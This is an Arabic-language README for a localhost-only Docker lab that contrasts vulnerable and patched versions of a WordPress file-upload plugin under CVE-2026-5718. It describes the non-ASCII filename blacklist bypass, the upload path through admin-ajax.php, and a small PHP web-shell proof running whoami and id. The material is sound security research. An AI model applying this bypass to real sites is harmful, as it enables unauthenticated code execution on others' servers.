معمل Docker المحلي لـ CVE-2026-5718

معمل Docker محلي فقط يوضح الفرق بين الإصدار الضعيف والملقّح لـ CVE-2026-5718، والتي تؤثر على إضافة ووردبريس Drag and Drop Multiple File Upload for Contact Form 7.

يوضح هذا المعمل الفرق بين الإصدار الضعيف 1.3.9.6 والإصدار الملقّح 1.3.9.7 باستخدام إثبات تنفيذ PHP بأقل ضرر داخل بيئة Docker فقط.

النطاق: localhost / شبكة Docker فقط. لا تستخدم هذا الإثبات ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

ملخص تنفيذي

CVE-2026-5718 هو ثغرة رفع ملفات تعسفية في إضافة Drag and Drop Multiple File Upload for Contact Form 7 حتى الإصدار 1.3.9.6 وما قبله.

يتم تفعيل المشكلة عند تكوين أنواع القائمة السوداء المخصصة واحتواء اسم الملف على أحرف غير ASCII. في الإصدار الضعيف، يمكن لملف .php خطير تجاوز الحماية المقصودة والبقاء قابلاً للتنفيذ. الإصدار 1.3.9.7 يصلح المشكلة برفض نفس الرفع.

يحتوي هذا المستودع على خدمتي ووردبريس محليتين:

• vuln على http://localhost:8081 مع إصدار الإضافة 1.3.9.6
• patched على http://localhost:8082 مع إصدار الإضافة 1.3.9.7

بنية المعمل

Host
├── http://localhost:8081  -> خدمة ووردبريس الضعيفة
└── http://localhost:8082  -> خدمة ووردبريس الملقّحة

شبكة Docker
├── vuln
├── vuln-db
├── patched
└── patched-db

هيكل المستودع

.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
│   └── requirements.txt
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

تدفق الثغرة

يحتوي نموذج Contact Form 7 المُعدّ على حقل رفع ملفات Drag and Drop Multiple File Upload:

[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]
]

يقوم الإثبات برفع ملف PHP إثباتي باسم:

```text
proof-β.php

الحرف β هو غير ASCII. هذا مهم لأن الثغرة تعتمد على معالجة اسم الملف للمدخلات غير ASCII.

التدفق عالي المستوى:

الإثبات
 ↓
جلب صفحة المعمل واستخراج nonce AJAX الخاص بـ DnD CF7
 ↓
رفع proof-β.php عبر wp-admin/admin-ajax.php
 ↓
الإصدار الضعيف 1.3.9.6 يقبل ويخزن الملف كـ .php
 ↓
الإثبات يطلب الملف المرفوع
 ↓
المعمل الضعيف ينفذ إثبات PHP كمستخدم www-data

التدفق الملقّح:

الإثبات
 ↓
رفع نفس الملف proof-β.php
 ↓
الإصدار الملقّح 1.3.9.7 يرفض الرفع
 ↓
لا يتم تخزين ملف PHP ولا يحدث تنفيذ كود

تصميم إثبات RCE المحلي

الكود الإثباتي PHP المرفوع هو بسيط عن قصد:

<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>

يقوم الإثبات بتشغيل whoami و id فقط لإظهار سياق التنفيذ. لا يستخدم شيل عكسي، أو استمرارية، أو الوصول إلى بيانات الاعتماد، أو الحركة الجانبية، أو فحص الشبكة، أو إجراءات تدميرية.

الخدمة الضعيفة تسمح عمداً بتنفيذ PHP في دليل رفع الإضافة لجعل التأثير ملاحظاً في هذا المعمل المحلي. الخدمة الملقّحة تحافظ على السلوك الأكثر أماناً وترفض الرفع في طبقة التحقق من التطبيق.

المتطلبات

• Docker Desktop
• Docker Compose v2
• Python 3

تثبيت تبعيات Python:

python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt

البناء والتشغيل

البدء من حالة نظيفة:

docker compose down -v
docker compose up --build -d

التحقق من حالة الخدمة:

docker compose ps

فتح صفحات المعمل:

http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/

تشغيل الإثبات

تشغيل ضد الخدمة الضعيفة:

python poc/poc.py --base-url http://localhost:8081

تشغيل ضد الخدمة الملقّحة:

python poc/poc.py --base-url http://localhost:8082

الإثبات يقبل فقط أهداف localhost أو loopback.

النتيجة المتوقعة

الخدمة الضعيفة

السلوك المتوقع:

• يتم قبول الرفع.
• يبقى اسم الملف المرفوع كملف .php.
• يتم تنفيذ إثبات PHP المرفوع كمستخدم خادم الويب.

مثال للإخراج:

Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}

Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)

[result] VULNERABLE behavior observed: uploaded PHP proof executed.

الخدمة الملقّحة

السلوك المتوقع:

• يتم رفض نفس الرفع.
• لا يتم تخزين إثبات PHP كملف قابل للتنفيذ.
• لا يحدث تنفيذ كود.

مثال للإخراج:

Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}

[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type

ملاحظات السلامة

هذا المعمل مقصور عمداً على الاختبار المحلي.

الإثبات:

• يمنع أهداف غير localhost،
• لا يستخدم شيل عكسي،
• لا يقوم باستمرارية،
• لا يقرأ الأسرار،
• لا يفحص الشبكات،
• ينفذ فقط whoami و id داخل الحاوية الضعيفة.

الخدمة الضعيفة تخفف من تنفيذ PHP في دليل الرفع فقط لجعل الإثبات المحلي ملاحظاً. لا تنسخ هذا التكوين إلى الإنتاج.

التنظيف

إيقاف الحاويات:

docker compose down

إزالة الحاويات والوحدات التخزينية:

docker compose down -v

إزالة البيئة الافتراضية Python:

rm -rf .venv

المراجع

• NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718

• إشعار Patchstack: إضافة WordPress Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - رفع ملفات تعسفي غير مصادق عليه عبر تجاوز القائمة السوداء لأسماء الملفات غير ASCII https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability

• Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - رفع ملفات تعسفي غير مصادق عليه عبر تجاوز القائمة السوداء لأسماء الملفات غير ASCII https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass

• قاعدة بيانات إشعارات GitHub: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w

• صفحة الإضافة على WordPress.org: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/

• صفحة البائع: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/

إخلاء المسؤولية

هذا المستودع مخصص لأغراض البحث التعليمي والأمني الدفاعي فقط. صُمم ليعمل فقط على localhost باستخدام Docker. لا تستخدم الإثبات ضد الأنظمة العامة أو التابعة لجهات خارجية.